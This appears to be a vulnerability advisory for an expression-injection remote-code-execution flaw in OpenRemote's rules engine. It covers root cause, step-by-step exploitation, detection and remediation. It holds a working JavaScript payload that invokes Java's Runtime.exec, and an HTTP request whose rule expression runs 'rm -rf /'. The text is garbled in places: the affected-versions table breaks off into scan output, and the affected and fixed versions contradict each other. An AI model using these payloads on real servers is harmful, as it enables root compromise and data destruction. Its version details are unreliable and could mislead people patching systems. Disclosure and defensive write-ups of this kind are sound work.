Share
## https://sploitus.com/exploit?id=578EF6BD-C364-5AE8-B4DF-72589504AEB5
# CVE-2026-39842: OpenRemote Expression Injection RCE in Rules Engine
[](https://vulners.com/cve/CVE-2026-39842)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-39842)
[](https://cwe.mitre.org/data/definitions/94.html)
[](https://cwe.mitre.org/data/definitions/917.html)
[](https://openremote.io/)
[](#remediation)
## TL;DR
Critical remote code execution vulnerability in OpenRemote's Rules Engine allows authenticated users with `write:rules` role to execute arbitrary code on the server with root privileges.
- **CVSS Score**: 10.0 (Critical)
- **CVSS Vector**: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`
- **Affected Versions**: OpenRemote = 1.22.0
- **Authentication Required**: Yes (write:rules role, can be non-superuser)
- **Exploitation**: RCE as root user, file system access, environment variable theft, multi-tenant data breach
- **Advisory**: [GHSA-7mqr-33rv-p3mp](https://github.com/advisories/GHSA-7mqr-33rv-p3mp)
---
## Table of Contents
- [Quick Facts](#quick-facts)
- [What is OpenRemote?](#what-is-openremote)
- [Vulnerability Deep Dive](#vulnerability-deep-dive)
- [Impact Analysis](#impact-analysis)
- [Affected Versions](#affected-versions)
- [Detection](#detection)
- [Indicators of Compromise](#indicators-of-compromise)
- [Remediation](#remediation)
- [References](#references)
- [Author](#author)
---
## Quick Facts
| Aspect | Details |
|--------|---------|
| **CVE ID** | CVE-2026-39842 |
| **GHSA ID** | GHSA-7mqr-33rv-p3mp |
| **Vulnerability Type** | Code Injection / Expression Language Injection |
| **CVSS Score** | 10.0 (Critical) |
| **CWE** | CWE-94, CWE-917 |
| **Product** | OpenRemote |
| **Affected Versions** | = 1.22.0 |
| **Authentication Required** | Yes |
| **Privilege Level Needed** | write:rules role (non-superuser) |
| **Vulnerable Endpoints** | POST /api/{realm}/rules/realm, POST /api/{realm}/rules/asset |
| **RCE Execution Level** | root |
| **Exploitability** | High |
| **Complexity** | Low |
| **Discovery Date** | 2026 |
---
## What is OpenRemote?
OpenRemote is an open-source IoT platform for building smart buildings, cities, and industries. It provides device management, automation rules, analytics, and integrations for the Internet of Things ecosystem.
### Key Features
- Device and asset management across multiple protocols (MQTT, Modbus, BACnet, HTTP)
- Rules engine for IoT automation and logic processing
- Multi-tenant architecture with role-based access control
- Real-time dashboards and monitoring
- Custom rule creation using multiple script languages
- REST API for integration and management
- Cloud and on-premises deployment options
### OpenRemote Architecture
```
Internet / Network
|
โโโโโโโโโโดโโโโโโโโโ
v v
โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ
| Web Browser | | Mobile App |
โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ
| |
โโโโโโโโโโฌโโโโโโโโโ
v
โโโโโโโโโโโโโโโโโโโโ
| OpenRemote API |
| (REST/WebSocket) |
โโโโโโโโโโฌโโโโโโโโโโ
v
โโโโโโโโโโโโโโโโโโโโ
| Manager Service |
| (Port 8080) |
โโโโโโโโโโฌโโโโโโโโโโ
|
โโโโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโ
| | |
v v v
โโโโโโโโโโโโ โโโโโโโโโโโโ โโโโโโโโโโโโโโโโ
| Rules | | Asset | | Notification |
| Engine | | Storage | | Service |
โโโโโโโโโโโโ โโโโโโโโโโโโ โโโโโโโโโโโโโโโโ
| |
v v
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
| PostgreSQL / Timescale Database |
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
---
## Vulnerability Deep Dive
### Root Cause Analysis
The vulnerability stems from two critical flaws in OpenRemote's Rules Engine:
**Flaw 1: Unsandboxed Nashorn JavaScript Engine**
The Java Nashorn JavaScript engine is used to evaluate user-supplied rule expressions without any sandboxing, security manager, or ClassFilter restrictions. This allows attackers to access Java classes directly from JavaScript context.
**Flaw 2: Disabled Groovy Sandbox**
The Groovy script engine had a GroovyDenyAllFilter registered to prevent code execution, but this filter registration was commented out in the codebase. Only Groovy enforcement existed at the API level (RulesResourceImpl.java:262), but JavaScript had no restrictions.
### Vulnerable Code Paths
```
RulesResource.java (lines 153-158)
|
> POST request handler for rule creation
|
v
RulesetDeployment.java (line 368)
|
> scriptEngine.eval(ruleExpression)
|
v
Nashorn Engine
|
> No ClassFilter / SecurityManager
> Java.type() accessible
> Runtime.exec() available
```
### Authorization Bypass
The vulnerability affects authenticated users with the `write:rules` role. The authorization check at RulesResourceImpl.java:262 only blocks Groovy for non-superusers:
```
if (!isUserSuperuser && isGroovy) {
throw new UnauthorizedException("Groovy rules not allowed");
}
```
This means:
- Non-superusers CAN create JavaScript rules (no block)
- Non-superusers CANNOT create Groovy rules (blocked)
- JavaScript has no sandboxing, so exploitation is possible for any authenticated user with write:rules
Additionally, multi-tenant isolation can be bypassed via reflection on the assetStorageService to access other realms' data.
### Attack Flow
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
| 1. Attacker authenticates with write:rules role |
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
v
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
| 2. POST /api/{realm}/rules/realm with JS expression|
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
v
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
| 3. Expression passes validation (no checks) |
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
v
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
| 4. RulesetDeployment.java calls scriptEngine.eval() |
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
v
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
| 5. Nashorn Engine executes JavaScript payload |
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
v
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
| 6. Java.type("java.lang.Runtime") access granted |
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
v
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
| 7. Arbitrary command execution as root |
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
### Step-by-Step Exploitation
**Step 1: Obtain write:rules Credentials**
An authenticated user needs the `write:rules` role. This can be:
- A legitimate system administrator
- A compromised account
- A user with excessive role assignments
**Step 2: Craft JavaScript Payload**
Create a rule expression using JavaScript that accesses Java Runtime:
```javascript
var result = "";
try {
var runtime = Java.type("java.lang.Runtime").getRuntime();
var process = runtime.exec("id");
var reader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream())
);
var line;
while ((line = reader.readLine()) != null) {
result += line;
}
} catch (e) {
result = e.toString();
}
result;
```
**Step 3: Send to Vulnerable Endpoint**
```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json
{
"name": "malicious_rule",
"enabled": true,
"trigger": "timer",
"actions": [
{
"type": "local_action",
"target": "asset_id",
"action": "perform_action",
"value": "// Payload here"
}
],
"ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}
```
**Step 4: Rule Execution**
The platform evaluates the rule immediately or at the scheduled trigger time, executing the payload with root privileges.
**Step 5: Post-Exploitation**
With RCE as root, attackers can:
- Read sensitive files (/etc/passwd, application configs)
- Steal environment variables containing API keys and credentials
- Modify system configuration
- Install backdoors or persistence mechanisms
- Access the PostgreSQL database directly
- Breach data across all tenants in multi-tenant deployments
---
## Impact Analysis
### Severity: CRITICAL (CVSS 10.0)
#### Remote Code Execution
Authenticated attackers execute arbitrary code on the OpenRemote server with root privileges. This is the highest severity impact, allowing complete system compromise.
```
Result of successful exploitation:
uid=0(root) gid=0(root) groups=0(root)
```
#### File System Access
Complete read and write access to all files on the system:
- Application source code disclosure
- Sensitive configuration files (database passwords, API keys)
- System files and credentials
- Docker container files (if containerized)
#### Environment Variable Theft
Access to environment variables containing:
- Database connection strings
- API keys and tokens
- OAuth secrets
- Private encryption keys
- AWS/Cloud credentials
#### Data Breach
In multi-tenant deployments, attackers can bypass tenant isolation via reflection:
- Access data from all tenants simultaneously
- Read confidential IoT sensor data
- Modify automation rules across organizations
- Extract business intelligence and proprietary information
#### System Integrity
- Permanent backdoor installation
- Malware deployment
- Ransomware execution
- Supply chain compromise (if used in development)
#### Service Disruption
- Denial of service via resource exhaustion
- Database deletion or corruption
- Configuration tampering
- System shutdown or restart
---
## Affected Versions
| Version | Status | Notes |
|---------|--------|-------|
|
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true
```
#### Example: Basic Scan
```bash
nmap -p 8080 --script openremote-detect 192.168.1.0/24
```
Expected output:
```
Nmap scan report for 192.168.1.100
Host is up (0.0042s latency).
8080/tcp open http-proxy
| openremote-detect:
| Status: OpenRemote Detected
| Version: 1.21.0
| Vulnerable: YES
| CVE: CVE-2026-39842
|_ CVSS: 10.0 Critical
Nmap scan report for 192.168.1.101
Host is up (0.0031s latency).
8080/tcp open http-proxy
| openremote-detect:
| Status: OpenRemote Detected
| Version: 1.22.1
| Vulnerable: NO
| Fixed Version: 1.22.0
|_ Status: Patched
```
#### Example: Verbose Scan
```bash
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100
```
Expected verbose output:
```
| openremote-detect:
| Host: 192.168.1.100:8080
| Detection Method: HTTP Banner Analysis
| Probe Endpoint: /api/info
| Response Code: 200
| Version: 1.21.0
| Version Detected: YES
| Vulnerable: YES
| CVE-2026-39842: AFFECTED
| CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| CVSS Score: 10.0
| Fix Available: YES
| Fixed Version: 1.22.0
| Authentication Required: YES
| Endpoint Vulnerable: POST /api/{realm}/rules/realm
|_ Endpoint Vulnerable: POST /api/{realm}/rules/asset
```
### Manual Verification
Perform manual checks using curl to verify vulnerability:
**1. Identify OpenRemote Version**
```bash
curl -s http://target:8080/api/info | jq .
```
Expected response:
```json
{
"version": "1.21.0",
"name": "OpenRemote",
"instanceId": "instance-123"
}
```
**2. Check for Rules Endpoint**
```bash
curl -s -H "Authorization: Bearer TOKEN" \
http://target:8080/api/master/rules/realm | head -20
```
If returns 401 or 403, endpoint exists but needs authentication.
**3. Authenticate and Test Expression Injection**
```bash
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{
"name": "test_rule",
"trigger": "timer",
"ruleExpression": "1 + 1"
}' \
http://target:8080/api/master/rules/realm
```
If successful creation and version /backup/openremote_1.21.0.sql
# Download and install 1.22.0+
wget https://releases.openremote.io/openremote-1.22.0.tar.gz
tar -xzf openremote-1.22.0.tar.gz -C /opt/
systemctl restart openremote
# Verify version
curl -s http://localhost:8080/api/info | jq .version
```
**2. Restrict API Access**
If immediate upgrade is not possible, restrict access to vulnerable endpoints at the firewall/reverse proxy level:
```nginx
# Nginx example
location ~ ^/api/.*/rules/ {
return 403;
}
```
**3. Audit Active Rules**
List all existing rules and review for suspicious JavaScript:
```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/master/rules/realm | \
jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
```
Delete any rules containing Java interop:
```bash
curl -X DELETE \
-H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/master/rules/realm/{RULE_ID}
```
**4. Review Access Logs**
Check for exploitation attempts in the past 30 days:
```bash
grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \
grep -i "java\|runtime\|exec\|type"
```
**5. Credential Rotation**
Rotate all credentials potentially exposed:
```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets
```
### SHORT-TERM ACTIONS (1-7 days)
**1. Network Segmentation**
Restrict OpenRemote API access to authorized networks only:
```
- Block external internet access to port 8080
- Implement VPN/SSO requirement for API access
- Use API gateway with authentication/authorization
```
**2. Role Audits**
Review and minimize users with `write:rules` role:
```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
http://localhost:8080/api/admin/users | \
jq '.[] | select(.roles | contains("write:rules"))'
```
Remove `write:rules` role from all non-essential users.
**3. Enable Request Logging**
Configure detailed logging for all API requests:
```yaml
# application.properties
logging.level.org.openremote.manager.rules=DEBUG
logging.level.org.openremote.manager.rules.RulesResource=TRACE
```
**4. Database Audit**
Search database for malicious rules created after specific date:
```sql
SELECT id, name, ruleset_def, created_on
FROM RULE
WHERE created_on > '2026-04-01'
AND (
ruleset_def LIKE '%Java.type%'
OR ruleset_def LIKE '%Runtime%'
OR ruleset_def LIKE '%exec%'
);
```
**5. Threat Hunting**
Run full security scans on the OpenRemote server:
```bash
# ClamAV malware scan
clamscan -r --remove /opt/openremote/
# Check for backdoors
chkrootkit
rkhunter --check --skip-warnings
# File integrity verification
aide --check
```
### LONG-TERM ACTIONS (7-30 days)
**1. Complete System Hardening**
- Run OpenRemote in a container with restricted privileges (non-root)
- Implement SELinux or AppArmor policies
- Use read-only file systems where possible
- Enable audit logging on system level
**2. Access Control Implementation**
- Implement multi-factor authentication for admin users
- Use OAuth2/OIDC for API access instead of token auth
- Implement principle of least privilege for all roles
- Regular access reviews and certification
**3. Application Security**
- Implement Web Application Firewall (WAF) rules for rules engine
- Enable request rate limiting on sensitive endpoints
- Implement request size limits
- Validate all user input strictly
**4. Monitoring and Alerting**
Deploy SIEM detection rules:
```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM
```
**5. Incident Response Plan**
Create and test incident response procedures:
- Isolation steps for compromised OpenRemote instances
- Forensics collection procedures
- Notification procedures for affected customers
- Recovery and cleanup procedures
- Post-incident reviews
**6. Ongoing Monitoring**
Implement continuous security monitoring:
```bash
# Daily vulnerability scan
nmap -p 8080 --script openremote-detect \
$(cat /etc/openremote/monitored_hosts.txt) \
--script-args 'onerror=continue' \
-oX /var/log/openremote-scan.xml
# Automated alerts for vulnerable versions
if version <= 1.21.0; then
send_alert "CVE-2026-39842: Unpatched OpenRemote detected"
fi
```
---
## References
- **Official Advisory**: https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **CVE Record**: https://vulners.com/cve/CVE-2026-39842
- **NVD Entry**: https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **OpenRemote Repository**: https://github.com/openremote/openremote
- **OpenRemote Security**: https://openremote.io/security
- **CWE-94 Code Injection**: https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 EL Injection**: https://cwe.mitre.org/data/definitions/917.html
- **CVSS Calculator**: https://www.first.org/cvss/calculator/3.1
- **Nashorn Security**: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager**: https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html
---
## Author
**Kerem Oruc**
Security Researcher, Vulnerability Disclosure
For questions, reports, or additional information regarding this vulnerability, please contact the author through responsible disclosure channels.
---
**Last Updated**: 2026-04-16
**Version**: 1.0
**Status**: Public